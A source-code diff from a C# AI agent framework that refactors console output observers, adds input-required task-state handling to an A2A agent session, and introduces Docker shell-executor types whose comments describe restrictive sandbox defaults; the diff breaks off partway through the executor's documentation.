+
+namespace Harness.Shared.Console;
+
+/// <summary>
+/// Helpers for resolving console colours associated with agent modes.
+/// </summary>
+internal static class ModeColors
+{
+    /// <summary>
+    /// Gets the console color associated with a mode name, using the provided color map.
+    /// Falls back to <see cref="ConsoleColor.Gray"/> when the mode is <see langword="null"/>
+    /// or not present in the map.
+    /// </summary>
+    /// <param name="mode">The mode name, or <see langword="null"/> if no mode is active.</param>
+    /// <param name="modeColors">Optional mapping of mode names to console colors.</param>
+    public static ConsoleColor Get(string? mode, IReadOnlyDictionary<string, ConsoleColor>? modeColors = null)
+    {
+        if (mode is null)
+        {
+            return ConsoleColor.Gray;
+        }
+
+        if (modeColors is not null && modeColors.TryGetValue(mode, out var color))
+        {
+            return color;
+        }
+
+        return ConsoleColor.Gray;
+    }
+}
@@ -25,28 +25,28 @@ public abstract class ConsoleObserver
    /// <summary>
    /// Called for each <see cref="AIContent"/> item in the response stream.
    /// </summary>
-    /// <param name="writer">The console writer for rendering output.</param>
+    /// <param name="ux">The harness UX container, used for rendering output and interacting with the user.</param>
    /// <param name="content">The content item from the stream.</param>
-    public virtual Task OnContentAsync(ConsoleWriter writer, AIContent content) => Task.CompletedTask;
+    public virtual Task OnContentAsync(HarnessUXContainer ux, AIContent content) => Task.CompletedTask;

    /// <summary>
    /// Called for each text update in the response stream.
    /// </summary>
-    /// <param name="writer">The console writer for rendering output.</param>
+    /// <param name="ux">The harness UX container, used for rendering output and interacting with the user.</param>
    /// <param name="text">The text from the update.</param>
-    public virtual Task OnTextAsync(ConsoleWriter writer, string text) => Task.CompletedTask;
+    public virtual Task OnTextAsync(HarnessUXContainer ux, string text) => Task.CompletedTask;

    /// <summary>
    /// Called after the response stream completes. Returns messages to include in the
    /// next agent invocation, or <see langword="null"/> if no re-invocation is needed.
    /// </summary>
-    /// <param name="writer">The console writer for rendering output.</param>
+    /// <param name="ux">The harness UX container, used for rendering output and interacting with the user.</param>
    /// <param name="agent">The agent being interacted with.</param>
    /// <param name="session">The current agent session.</param>
    /// <param name="options">The console options.</param>
    /// <returns>Messages to send to the agent, or <see langword="null"/> if no action is needed.</returns>
    public virtual Task<IList<ChatMessage>?> OnStreamCompleteAsync(
-        ConsoleWriter writer,
+        HarnessUXContainer ux,
        AIAgent agent,
        AgentSession session,
        HarnessConsoleOptions options) => Task.FromResult<IList<ChatMessage>?>(null);
@@ -10,7 +10,7 @@ namespace Harness.Shared.Console.Observers;
 internal sealed class ErrorDisplayObserver : ConsoleObserver
 {
    /// <inheritdoc/>
-    public override async Task OnContentAsync(ConsoleWriter writer, AIContent content)
+    public override async Task OnContentAsync(HarnessUXContainer ux, AIContent content)
    {
        if (content is ErrorContent errorContent)
        {
@@ -25,7 +25,7 @@ internal sealed class ErrorDisplayObserver : ConsoleObserver
                errorText += $" details: {errorContent.Details}";
            }

-            await writer.WriteInfoLineAsync(errorText, ConsoleColor.Red);
+            await ux.WriteInfoLineAsync(errorText, ConsoleColor.Red);
        }
    }
 }
@@ -33,7 +33,7 @@ internal sealed class PlanningOutputObserver : ConsoleObserver
    }

    /// <inheritdoc/>
-    public override Task OnTextAsync(ConsoleWriter writer, string text)
+    public override Task OnTextAsync(HarnessUXContainer ux, string text)
    {
        // Collect text silently instead of displaying it.
        this._textCollector.Append(text);
@@ -42,7 +42,7 @@ internal sealed class PlanningOutputObserver : ConsoleObserver

    /// <inheritdoc/>
    public override async Task<IList<ChatMessage>?> OnStreamCompleteAsync(
-        ConsoleWriter writer,
+        HarnessUXContainer ux,
        AIAgent agent,
        AgentSession session,
        HarnessConsoleOptions options)
@@ -64,21 +64,21 @@ internal sealed class PlanningOutputObserver : ConsoleObserver
        }
        catch (JsonException ex)
        {
-            await writer.WriteInfoLineAsync($"❌ Failed to parse planning response: {ex.Message}", ConsoleColor.Red);
-            await writer.WriteInfoLineAsync($"(raw response) {collectedText}", ConsoleColor.DarkYellow);
+            await ux.WriteInfoLineAsync($"❌ Failed to parse planning response: {ex.Message}", ConsoleColor.Red);
+            await ux.WriteInfoLineAsync($"(raw response) {collectedText}", ConsoleColor.DarkYellow);
            return null;
        }

        if (planningResponse is null)
        {
-            await writer.WriteInfoLineAsync("(no structured response from agent)", ConsoleColor.DarkYellow);
+            await ux.WriteInfoLineAsync("(no structured response from agent)", ConsoleColor.DarkYellow);
            return null;
        }

        // Render based on response type.
        if (planningResponse.Type == PlanningResponseType.Clarification)
        {
-            return AsUserMessages(await this.RenderClarificationsAndCollectResponsesAsync(writer, planningResponse));
+            return AsUserMessages(await this.RenderClarificationsAndCollectResponsesAsync(ux, planningResponse));
        }

        if (planningResponse.Type == PlanningResponseType.Approval)
@@ -86,48 +86,45 @@ internal sealed class PlanningOutputObserver : ConsoleObserver
            var question = planningResponse.Questions.FirstOrDefault();
            if (question is null)
            {
-                await writer.WriteInfoLineAsync("(approval response had no content)", ConsoleColor.DarkYellow);
+                await ux.WriteInfoLineAsync("(approval response had no content)", ConsoleColor.DarkYellow);
                return null;
            }

-            string response = await this.RenderApprovalAndCollectResponseAsync(writer, question, options);
+            string response = await this.RenderApprovalAndCollectResponseAsync(ux, question, options);
            if (response == "Approved")
            {
                this._modeProvider.SetMode(session, options.ExecutionModeName!);

-                await writer.WriteInfoLineAsync($"✅ Switched to {options.ExecutionModeName} mode.",
-                    ConsoleWriter.GetModeColor(options.ExecutionModeName, options.ModeColors));
+                await ux.WriteInfoLineAsync($"✅ Switched to {options.ExecutionModeName} mode.",
+                    ModeColors.Get(options.ExecutionModeName, options.ModeColors));
            }

            return AsUserMessages(response);
        }

-        await writer.WriteInfoLineAsync($"(unexpected response type: {planningResponse.Type})", ConsoleColor.DarkYellow);
+        await ux.WriteInfoLineAsync($"(unexpected response type: {planningResponse.Type})", ConsoleColor.DarkYellow);
        return null;
    }

    private static IList<ChatMessage>? AsUserMessages(string? text) =>
        text is not null ? [new ChatMessage(ChatRole.User, text)] : null;

-    private async Task<string?> RenderClarificationsAndCollectResponsesAsync(ConsoleWriter writer, PlanningResponse response)
+    private async Task<string?> RenderClarificationsAndCollectResponsesAsync(HarnessUXContainer ux, PlanningResponse response)
    {
        var answers = new List<string>();

        foreach (var question in response.Questions)
        {
-            await writer.WriteInfoLineAsync(string.Empty);
-            await writer.WriteInfoLineAsync(question.Message);
-
            string? answer;
            if (question.Choices is { Count: > 0 })
            {
-                answer = await writer.ReadSelectionAsync(
-                    "Choose an option:",
+                answer = await ux.ReadSelectionAsync(
+                    question.Message,
                    question.Choices);
            }
            else
            {
-                answer = (await writer.ReadLineAsync("Response: "))?.Trim();
+                answer = (await ux.ReadLineAsync(question.Message))?.Trim();
            }

            if (!string.IsNullOrWhiteSpace(answer))
@@ -139,38 +136,20 @@ internal sealed class PlanningOutputObserver : ConsoleObserver
        return answers.Count > 0 ? string.Join("\n\n", answers) : null;
    }

-    private async Task<string> RenderApprovalAndCollectResponseAsync(ConsoleWriter writer, PlanningQuestion question, HarnessConsoleOptions options)
+    private async Task<string> RenderApprovalAndCollectResponseAsync(HarnessUXContainer ux, PlanningQuestion question, HarnessConsoleOptions options)
    {
-        await writer.WriteInfoLineAsync(question.Message);
-
        var choices = new List<string>
        {
            "Approve and switch to execute mode",
-            "Suggest changes",
        };

-        string selection = await writer.ReadSelectionAsync("What would you like to do?", choices);
+        string selection = await ux.ReadSelectionAsync(question.Message, choices);

        if (selection == choices[0])
        {
            return "Approved";
        }

-        if (selection == choices[1])
-        {
-            string? feedback = await writer.ReadLineAsync(
-                "Your feedback: ",
-                ConsoleWriter.GetModeColor(options.PlanningModeName, options.ModeColors));
-
-            if (string.IsNullOrWhiteSpace(feedback))
-            {
-                // Treat empty feedback as no changes — re-prompt the agent with the plan.
-                return "No changes suggested. Please re-present the plan for approval.";
-            }
-
-            return feedback;
-        }
-
        // Custom freeform input — treat as suggested changes.
        return selection;
    }
@@ -10,11 +10,11 @@ namespace Harness.Shared.Console.Observers;
 internal sealed class ReasoningDisplayObserver : ConsoleObserver
 {
    /// <inheritdoc/>
-    public override async Task OnContentAsync(ConsoleWriter writer, AIContent content)
+    public override async Task OnContentAsync(HarnessUXContainer ux, AIContent content)
    {
        if (content is TextReasoningContent reasoning && !string.IsNullOrEmpty(reasoning.Text))
        {
-            await writer.WriteTextAsync(reasoning.Text, ConsoleColor.DarkMagenta);
+            await ux.WriteTextAsync(reasoning.Text, ConsoleColor.DarkMagenta);
        }
    }
 }
@@ -9,8 +9,8 @@ namespace Harness.Shared.Console.Observers;
 internal sealed class TextOutputObserver : ConsoleObserver
 {
    /// <inheritdoc/>
-    public override async Task OnTextAsync(ConsoleWriter writer, string text)
+    public override async Task OnTextAsync(HarnessUXContainer ux, string text)
    {
-        await writer.WriteTextAsync(text);
+        await ux.WriteTextAsync(text);
    }
 }
@@ -15,7 +15,7 @@ internal sealed class ToolApprovalObserver : ConsoleObserver
    private readonly List<ToolApprovalRequestContent> _approvalRequests = [];

    /// <inheritdoc/>
-    public override async Task OnContentAsync(ConsoleWriter writer, AIContent content)
+    public override async Task OnContentAsync(HarnessUXContainer ux, AIContent content)
    {
        if (content is ToolApprovalRequestContent approvalRequest)
        {
@@ -23,13 +23,13 @@ internal sealed class ToolApprovalObserver : ConsoleObserver
            string toolName = approvalRequest.ToolCall is FunctionCallContent fc
                ? ToolCallFormatter.Format(fc)
                : approvalRequest.ToolCall?.ToString() ?? "unknown";
-            await writer.WriteInfoLineAsync($"⚠️ Approval needed: {toolName}", ConsoleColor.Yellow);
+            await ux.WriteInfoLineAsync($"⚠️ Approval needed: {toolName}", ConsoleColor.Yellow);
        }
    }

    /// <inheritdoc/>
    public override async Task<IList<ChatMessage>?> OnStreamCompleteAsync(
-        ConsoleWriter writer,
+        HarnessUXContainer ux,
        AIAgent agent,
        AgentSession session,
        HarnessConsoleOptions options)
@@ -39,12 +39,12 @@ internal sealed class ToolApprovalObserver : ConsoleObserver
            return null;
        }

-        var messages = await PromptForApprovalsAsync(writer, this._approvalRequests);
+        var messages = await PromptForApprovalsAsync(ux, this._approvalRequests);
        this._approvalRequests.Clear();
        return messages;
    }

-    private static async Task<List<ChatMessage>?> PromptForApprovalsAsync(ConsoleWriter writer, List<ToolApprovalRequestContent> approvalRequests)
+    private static async Task<List<ChatMessage>?> PromptForApprovalsAsync(HarnessUXContainer ux, List<ToolApprovalRequestContent> approvalRequests)
    {
        if (approvalRequests.Count == 0)
        {
@@ -66,7 +66,7 @@ internal sealed class ToolApprovalObserver : ConsoleObserver
                "Deny",
            };

-            string selection = await writer.ReadSelectionAsync($"🔐 Tool approval: {toolName}", choices);
+            string selection = await ux.ReadSelectionAsync($"🔐 Tool approval: {toolName}", choices);
            AIContent response = selection switch
            {
                "Always approve this tool (any arguments)" => request.CreateAlwaysApproveToolResponse("User chose to always approve this tool"),
@@ -82,7 +82,7 @@ internal sealed class ToolApprovalObserver : ConsoleObserver
                "Deny" => "❌ Denied",
                _ => "✅ Approved",
            };
-            await writer.WriteInfoLineAsync($"   {action}", ConsoleColor.DarkGray);
+            await ux.WriteInfoLineAsync($"   {action}", ConsoleColor.DarkGray);

            responses.Add(response);
        }
@@ -11,15 +11,15 @@ namespace Harness.Shared.Console.Observers;
 internal sealed class ToolCallDisplayObserver : ConsoleObserver
 {
    /// <inheritdoc/>
-    public override async Task OnContentAsync(ConsoleWriter writer, AIContent content)
+    public override async Task OnContentAsync(HarnessUXContainer ux, AIContent content)
    {
        if (content is FunctionCallContent functionCall)
        {
-            await writer.WriteInfoLineAsync($"🔧 Calling tool: {ToolCallFormatter.Format(functionCall)}...", ConsoleColor.DarkYellow);
+            await ux.WriteInfoLineAsync($"🔧 Calling tool: {ToolCallFormatter.Format(functionCall)}...", ConsoleColor.DarkYellow);
        }
        else if (content is ToolCallContent toolCall)
        {
-            await writer.WriteInfoLineAsync($"🔧 Calling tool: {toolCall}...", ConsoleColor.DarkYellow);
+            await ux.WriteInfoLineAsync($"🔧 Calling tool: {toolCall}...", ConsoleColor.DarkYellow);
        }
    }
 }
@@ -24,19 +24,21 @@ internal sealed class UsageDisplayObserver : ConsoleObserver
    }

    /// <inheritdoc/>
-    public override async Task OnContentAsync(ConsoleWriter writer, AIContent content)
+    public override Task OnContentAsync(HarnessUXContainer ux, AIContent content)
    {
        if (content is UsageContent usage)
        {
            if (usage.Details is not null)
            {
-                await writer.WriteInfoLineAsync(this.FormatUsageBreakdown(usage.Details), ConsoleColor.DarkGray);
+                ux.SetUsageText(this.FormatUsageBreakdown(usage.Details));
            }
            else
            {
-                await writer.WriteInfoLineAsync("📊 Tokens —", ConsoleColor.DarkGray);
+                ux.SetUsageText("📊 Tokens —");
            }
        }
+
+        return Task.CompletedTask;
    }

    private string FormatUsageBreakdown(UsageDetails details)
@@ -0,0 +1,33 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Harness.Shared.Console;
+
+/// <summary>
+/// Represents the type of an output entry in the console conversation.
+/// </summary>
+public enum OutputEntryType
+{
+    /// <summary>User input echo (e.g. "You: hello").</summary>
+    UserInput,
+
+    /// <summary>In-progress streaming text from the agent (accumulated chunk by chunk).</summary>
+    StreamingText,
+
+    /// <summary>Informational line (tool calls, errors, usage, approval requests, etc.).</summary>
+    InfoLine,
+
+    /// <summary>Stream footer (e.g. "(no text response from agent)").</summary>
+    StreamFooter,
+
+    /// <summary>Pending injected message notification.</summary>
+    PendingMessage,
+}
+
+/// <summary>
+/// Represents a single output entry in the console conversation history.
+/// These entries are rendered by the <see cref="HarnessAppComponent"/> via its render delegate.
+/// </summary>
+/// <param name="Type">The type of output entry.</param>
+/// <param name="Text">The text content of the entry.</param>
+/// <param name="Color">Optional foreground color for rendering.</param>
+public record OutputEntry(OutputEntryType Type, string Text, ConsoleColor? Color = null);
@@ -1,77 +0,0 @@
-// Copyright (c) Microsoft. All rights reserved.
-
-namespace Harness.Shared.Console;
-
-/// <summary>
-/// A restartable spinner that can be started and stopped multiple times.
-/// </summary>
-internal sealed class Spinner : IDisposable
-{
-    private static readonly string[] s_frames = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"];
-
-    private CancellationTokenSource? _cts;
-    private Task? _task;
-
-    public void Start()
-    {
-        if (this._task is not null)
-        {
-            return;
-        }
-
-        this._cts = new CancellationTokenSource();
-        this._task = RunAsync(this._cts.Token);
-    }
-
-    public async Task StopAsync()
-    {
-        if (this._cts is null || this._task is null)
-        {
-            return;
-        }
-
-        this._cts.Cancel();
-        await this._task;
-        this._cts.Dispose();
-        this._cts = null;
-        this._task = null;
-    }
-
-    public void Dispose()
-    {
-        if (this._cts is not null && this._task is not null)
-        {
-            this._cts.Cancel();
-
-            // Block briefly to let the spinner task clean up.
-            // This prevents the background task from writing to the console after disposal.
-#pragma warning disable VSTHRD002 // Synchronous wait in Dispose is acceptable here — the spinner task completes quickly on cancellation.
-            this._task.Wait();
-#pragma warning restore VSTHRD002
-        }
-
-        this._cts?.Dispose();
-        this._cts = null;
-        this._task = null;
-    }
-
-    private static async Task RunAsync(CancellationToken cancellationToken)
-    {
-        int i = 0;
-        try
-        {
-            while (!cancellationToken.IsCancellationRequested)
-            {
-                System.Console.Write(s_frames[i % s_frames.Length]);
-                await Task.Delay(80, cancellationToken);
-                System.Console.Write("\b \b");
-                i++;
-            }
-        }
-        catch (OperationCanceledException)
-        {
-            // Clear the last spinner frame left on screen.
-            System.Console.Write("\b \b");
-        }
-    }
-}
@@ -135,6 +135,7 @@ AIAgent agent =
    // Build a ChatClient Pipeline
    .AsBuilder()
    .UseFunctionInvocation()                                // We are building our own stack from scratch so we need to include Function Invocation ourselves.
+    .UseMessageInjection()                                  // Allow message injection during the function call loop.
    .UsePerServiceCallChatHistoryPersistence()              // Save chat history updates to the session after each service call, rather than only at the end of the run.
    .UseAIContextProviders(new CompactionProvider(compactionStrategy))  // Add Compaction before each service call to responses so that long function invocation loops don't overflow the context.

@@ -93,26 +93,26 @@ public sealed class A2AAgent : AIAgent
    /// <inheritdoc/>
    protected override async Task<AgentResponse> RunCoreAsync(IEnumerable<ChatMessage> messages, AgentSession? session = null, AgentRunOptions? options = null, CancellationToken cancellationToken = default)
    {
-        _ = Throw.IfNull(messages);
+        var inputMessages = Throw.IfNull(messages) as IReadOnlyCollection<ChatMessage> ?? messages.ToList();

        A2AAgentSession typedSession = await this.GetA2ASessionAsync(session, options, cancellationToken).ConfigureAwait(false);

        this._logger.LogA2AAgentInvokingAgent(nameof(RunAsync), this.Id, this.Name);

-        if (GetContinuationToken(messages, options) is { } token)
+        if (GetContinuationToken(inputMessages, options) is { } token)
        {
            AgentTask agentTask = await this._a2aClient.GetTaskAsync(new GetTaskRequest { Id = token.TaskId }, cancellationToken).ConfigureAwait(false);

            this._logger.LogAgentChatClientInvokedAgent(nameof(RunAsync), this.Id, this.Name);

-            UpdateSession(typedSession, agentTask.ContextId, agentTask.Id);
+            UpdateSession(typedSession, agentTask.ContextId, agentTask.Id, agentTask.Status.State);

            return this.ConvertToAgentResponse(agentTask);
        }

        SendMessageRequest sendParams = new()
        {
-            Message = CreateA2AMessage(typedSession, messages),
+            Message = CreateA2AMessage(typedSession, inputMessages),
            Metadata = options?.AdditionalProperties?.ToA2AMetadata(),
            Configuration = new SendMessageConfiguration { ReturnImmediately = options?.AllowBackgroundResponses is true }
        };
@@ -134,7 +134,7 @@ public sealed class A2AAgent : AIAgent
        {
            var agentTask = a2aResponse.Task!;

-            UpdateSession(typedSession, agentTask.ContextId, agentTask.Id);
+            UpdateSession(typedSession, agentTask.ContextId, agentTask.Id, agentTask.Status.State);

            return this.ConvertToAgentResponse(agentTask);
        }
@@ -145,7 +145,7 @@ public sealed class A2AAgent : AIAgent
    /// <inheritdoc/>
    protected override async IAsyncEnumerable<AgentResponseUpdate> RunCoreStreamingAsync(IEnumerable<ChatMessage> messages, AgentSession? session = null, AgentRunOptions? options = null, [EnumeratorCancellation] CancellationToken cancellationToken = default)
    {
-        _ = Throw.IfNull(messages);
+        var inputMessages = Throw.IfNull(messages) as IReadOnlyCollection<ChatMessage> ?? messages.ToList();

        A2AAgentSession typedSession = await this.GetA2ASessionAsync(session, options, cancellationToken).ConfigureAwait(false);

@@ -153,7 +153,7 @@ public sealed class A2AAgent : AIAgent

        ConfiguredCancelableAsyncEnumerable<StreamResponse> streamEvents;

-        if (GetContinuationToken(messages, options) is { } token)
+        if (GetContinuationToken(inputMessages, options) is { } token)
        {
            streamEvents = this.SubscribeToTaskWithFallbackAsync(token.TaskId, cancellationToken).ConfigureAwait(false);
        }
@@ -161,7 +161,7 @@ public sealed class A2AAgent : AIAgent
        {
            SendMessageRequest sendParams = new()
            {
-                Message = CreateA2AMessage(typedSession, messages),
+                Message = CreateA2AMessage(typedSession, inputMessages),
                Metadata = options?.AdditionalProperties?.ToA2AMetadata()
            };

@@ -172,6 +172,7 @@ public sealed class A2AAgent : AIAgent

        string? contextId = null;
        string? taskId = null;
+        TaskState? taskState = null;

        await foreach (var streamResponse in streamEvents)
        {
@@ -187,6 +188,7 @@ public sealed class A2AAgent : AIAgent
                    var task = streamResponse.Task!;
                    contextId = task.ContextId;
                    taskId = task.Id;
+                    taskState = task.Status.State;
                    yield return this.ConvertToAgentResponseUpdate(task);
                    break;

@@ -194,6 +196,7 @@ public sealed class A2AAgent : AIAgent
                    var statusUpdate = streamResponse.StatusUpdate!;
                    contextId = statusUpdate.ContextId;
                    taskId = statusUpdate.TaskId;
+                    taskState = statusUpdate.Status.State;
                    yield return this.ConvertToAgentResponseUpdate(statusUpdate);
                    break;

@@ -209,7 +212,7 @@ public sealed class A2AAgent : AIAgent
            }
        }

-        UpdateSession(typedSession, contextId, taskId);
+        UpdateSession(typedSession, contextId, taskId, taskState);
    }

    /// <inheritdoc/>
@@ -317,7 +320,7 @@ public sealed class A2AAgent : AIAgent
        }
    }

-    private static void UpdateSession(A2AAgentSession? session, string? contextId, string? taskId = null)
+    private static void UpdateSession(A2AAgentSession? session, string? contextId, string? taskId = null, TaskState? taskState = null)
    {
        if (session is null)
        {
@@ -335,9 +338,10 @@ public sealed class A2AAgent : AIAgent
        // Assign a server-generated context Id to the session if it's not already set.
        session.ContextId ??= contextId;
        session.TaskId = taskId;
+        session.TaskState = taskState;
    }

-    private static Message CreateA2AMessage(A2AAgentSession typedSession, IEnumerable<ChatMessage> messages)
+    private static Message CreateA2AMessage(A2AAgentSession typedSession, IReadOnlyCollection<ChatMessage> messages)
    {
        var a2aMessage = messages.ToA2AMessage();

@@ -345,9 +349,19 @@ public sealed class A2AAgent : AIAgent
        // See: https://github.com/a2aproject/A2A/blob/main/docs/topics/life-of-a-task.md#group-related-interactions
        a2aMessage.ContextId = typedSession.ContextId;

-        // Link the message as a follow-up to an existing task, if any.
-        // See: https://github.com/a2aproject/A2A/blob/main/docs/topics/life-of-a-task.md#task-refinements
-        a2aMessage.ReferenceTaskIds = typedSession.TaskId is null ? null : [typedSession.TaskId];
+        if (typedSession.TaskState == TaskState.InputRequired)
+        {
+            // If the session indicates the task is waiting for user input,
+            // link the response to the existing task so it is treated as input
+            // for that task.
+            a2aMessage.TaskId = typedSession.TaskId;
+        }
+        else
+        {
+            // Link the message as a follow-up to an existing task, if any.
+            // See: https://github.com/a2aproject/A2A/blob/main/docs/topics/life-of-a-task.md#task-refinements
+            a2aMessage.ReferenceTaskIds = typedSession.TaskId is not null ? [typedSession.TaskId] : null;
+        }

        return a2aMessage;
    }
@@ -444,6 +458,7 @@ public sealed class A2AAgent : AIAgent
            Role = ChatRole.Assistant,
            FinishReason = MapTaskStateToFinishReason(statusUpdateEvent.Status.State),
            AdditionalProperties = statusUpdateEvent.Metadata?.ToAdditionalProperties() ?? [],
+            Contents = statusUpdateEvent.Status.GetUserInputRequests(),
        };
    }

@@ -5,6 +5,8 @@ using System.Diagnostics;
 using System.Text.Json;
 using System.Text.Json.Serialization;

+using TaskState = A2A.TaskState;
+
 namespace Microsoft.Agents.AI.A2A;

 /// <summary>
@@ -18,10 +20,11 @@ public sealed class A2AAgentSession : AgentSession
    }

    [JsonConstructor]
-    internal A2AAgentSession(string? contextId, string? taskId, AgentSessionStateBag? stateBag) : base(stateBag ?? new())
+    internal A2AAgentSession(string? contextId, string? taskId, TaskState? taskState, AgentSessionStateBag? stateBag) : base(stateBag ?? new())
    {
        this.ContextId = contextId;
        this.TaskId = taskId;
+        this.TaskState = taskState;
    }

    /// <summary>
@@ -36,6 +39,12 @@ public sealed class A2AAgentSession : AgentSession
    [JsonPropertyName("taskId")]
    public string? TaskId { get; internal set; }

+    /// <summary>
+    /// Gets the state of the task the agent is currently working on.
+    /// </summary>
+    [JsonPropertyName("taskState")]
+    public TaskState? TaskState { get; internal set; }
+
    /// <inheritdoc/>
    internal JsonElement Serialize(JsonSerializerOptions? jsonSerializerOptions = null)
    {
@@ -57,5 +66,5 @@ public sealed class A2AAgentSession : AgentSession

    [DebuggerBrowsable(DebuggerBrowsableState.Never)]
    private string DebuggerDisplay =>
-        $"ContextId = {this.ContextId}, TaskId = {this.TaskId}, StateBag Count = {this.StateBag.Count}";
+        $"ContextId = {this.ContextId}, TaskId = {this.TaskId}, TaskState = {this.TaskState}, StateBag Count = {this.StateBag.Count}";
 }
@@ -13,7 +13,7 @@ internal static class A2AAIContentExtensions
    /// <summary>
    ///  Converts a collection of <see cref="AIContent"/> to a list of <see cref="Part"/> objects.
    /// </summary>
-    /// <param name="contents">The collection of AI contents to convert.</param>"
+    /// <param name="contents">The collection of AI contents to convert.</param>
    /// <returns>The list of A2A <see cref="Part"/> objects.</returns>
    internal static List<Part>? ToParts(this IEnumerable<AIContent> contents)
    {
@@ -21,8 +21,7 @@ internal static class A2AAIContentExtensions

        foreach (var content in contents)
        {
-            var part = content.ToPart();
-            if (part is not null)
+            if (content.ToPart() is { } part)
            {
                (parts ??= []).Add(part);
            }
@@ -17,7 +17,7 @@ internal static class A2AAgentTaskExtensions

        List<ChatMessage>? messages = null;

-        if (agentTask?.Artifacts is { Count: > 0 })
+        if (agentTask.Artifacts is { Count: > 0 })
        {
            foreach (var artifact in agentTask.Artifacts)
            {
@@ -25,6 +25,14 @@ internal static class A2AAgentTaskExtensions
            }
        }

+        if (agentTask.Status?.GetUserInputRequests() is { } userInputRequests)
+        {
+            (messages ??= []).Add(new(ChatRole.Assistant, userInputRequests)
+            {
+                RawRepresentation = agentTask.Status,
+            });
+        }
+
        return messages;
    }

@@ -42,6 +50,11 @@ internal static class A2AAgentTaskExtensions
            }
        }

+        if (agentTask.Status?.GetUserInputRequests() is { } userInputRequests)
+        {
+            (aiContents ??= []).AddRange(userInputRequests);
+        }
+
        return aiContents;
    }
 }
@@ -0,0 +1,35 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System.Collections.Generic;
+using Microsoft.Extensions.AI;
+using Microsoft.Shared.Diagnostics;
+
+namespace A2A;
+
+/// <summary>
+/// Extension methods for the <see cref="TaskStatus"/> class.
+/// </summary>
+internal static class AgentTaskStatusExtensions
+{
+    internal static IList<AIContent>? GetUserInputRequests(this TaskStatus status)
+    {
+        _ = Throw.IfNull(status);
+
+        List<AIContent>? contents = null;
+
+        if (status.Message is null || status.State is not TaskState.InputRequired)
+        {
+            return contents;
+        }
+
+        foreach (var part in status.Message.Parts)
+        {
+            var aiContent = part.ToAIContent();
+            aiContent.RawRepresentation = part;
+            aiContent.AdditionalProperties = part.Metadata.ToAdditionalProperties();
+            (contents ??= []).Add(aiContent);
+        }
+
+        return contents;
+    }
+}
@@ -0,0 +1,34 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Globalization;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// UID/GID pair passed to <c>docker run --user</c>.
+/// </summary>
+/// <param name="Uid">User ID (numeric string, e.g. <c>"65534"</c>; <c>"root"</c> or <c>"0"</c> selects the container's root user).</param>
+/// <param name="Gid">Group ID (numeric string).</param>
+public sealed record ContainerUser(string Uid, string Gid)
+{
+    /// <summary>
+    /// Default unprivileged user (<c>nobody:nogroup</c> on most distros, UID/GID 65534).
+    /// </summary>
+    public static ContainerUser Default { get; } = new("65534", "65534");
+
+    /// <summary>
+    /// Container root (UID/GID 0). Avoid in production; use only for diagnostics.
+    /// </summary>
+    public static ContainerUser Root { get; } = new("0", "0");
+
+    /// <summary>Render as the <c>uid:gid</c> string Docker expects.</summary>
+    public override string ToString() => $"{this.Uid}:{this.Gid}";
+
+    /// <summary>
+    /// Returns <see langword="true"/> when this user maps to UID 0 (root).
+    /// </summary>
+    public bool IsRoot =>
+        this.Uid.Equals("root", StringComparison.OrdinalIgnoreCase)
+        || (int.TryParse(this.Uid, NumberStyles.Integer, CultureInfo.InvariantCulture, out var uid) && uid == 0);
+}
@@ -0,0 +1,22 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Well-known values for the <c>network</c> parameter on
+/// <see cref="DockerShellExecutor"/>. The parameter type stays
+/// <see langword="string"/> so callers can supply user-defined networks
+/// (e.g. <c>"my-private-net"</c>) — these constants exist for
+/// discoverability and to avoid stringly-typed defaults.
+/// </summary>
+public static class DockerNetworkMode
+{
+    /// <summary>No network — the container has no network interfaces. The default.</summary>
+    public const string None = "none";
+
+    /// <summary>Docker's default bridge network — egress to the host network.</summary>
+    public const string Bridge = "bridge";
+
+    /// <summary>Share the host's network namespace — strongly discouraged for untrusted code.</summary>
+    public const string Host = "host";
+}
@@ -0,0 +1,636 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.AI;
+using Microsoft.Shared.Diagnostics;
+
+namespace Microsoft.Agents.AI.Tools.Shell;
+
+/// <summary>
+/// Sandboxed shell tool backed by a Docker (or compatible) container runtime.
+/// </summary>
+/// <remarks>
+/// <para>
+/// Exposes the same public surface as <see cref="LocalShellExecutor"/> but executes
+/// commands inside a container. The container is intended to be the
+/// security boundary, and the defaults bias toward a restrictive baseline
+/// (<c>--network none</c>, non-root user, <c>--read-only</c> root filesystem,
+/// <c>--cap-drop=ALL</c>, <c>--security-opt=no-new-privileges</c>, memory and
+/// pids limits, <c>--tmpfs /tmp</c>). These are a best-effort starting point,
+/// NOT a guarantee: the actual isolation you get depends on the host kernel,
+/// the container runtime, the image, and any caller-supplied
+/// <c>ExtraRunArgs</c>. Do not rely on this tool as your sole defense against
+/// untrusted input. Approval gating via <see cref="AsAIFunction"/> is the
+/// primary safety control; pair it with the precautions you would normally
+/// apply when running adversarial code: review the model's output before
+/// acting on it, run on a host you can afford to lose, monitor for resource
+/// exhaustion, and consider stronger isolation (a dedicated VM, gVisor/Kata,
+/// network segmentation) when stakes are high.
+/// </para>
+/// <para>
+/// Persistent mode reuses <see cref="ShellSession"/> by launching
+/// <c>docker exec -i &lt;container&gt; bash --noprofile --norc</c> as the
+/// long-lived shell — the sentinel protocol works unchanged because the
+/// host process is still a bash REPL connected over pipes. Stateless mode
+/// runs each call in a fresh <c>docker run --rm</c>.
+/// </para>
+/// <para>
+/// <b>Single-session ownership.</b> In persistent mode the executor owns a long-lived
+/// container plus the bash REPL inside it. That container's filesystem, environment,
+/// working directory, and any artifacts the agent has produced are visible to every
+/// subsequent command, and a single stdin/stdout pipe serializes every call. A
+/// persistent-mode <see cref="DockerShellExecutor"/> is therefore intended to be owned by
+/// exactly one conversation / agent session — i.e., one user. Do not share one instance
+/// across users, tenants, or concurrent conversations: their state leaks together inside
+/// the container and commands queue behind each other. Create one executor per session,
+/// dispose it when the session ends (disposal stops and removes the container), and in DI
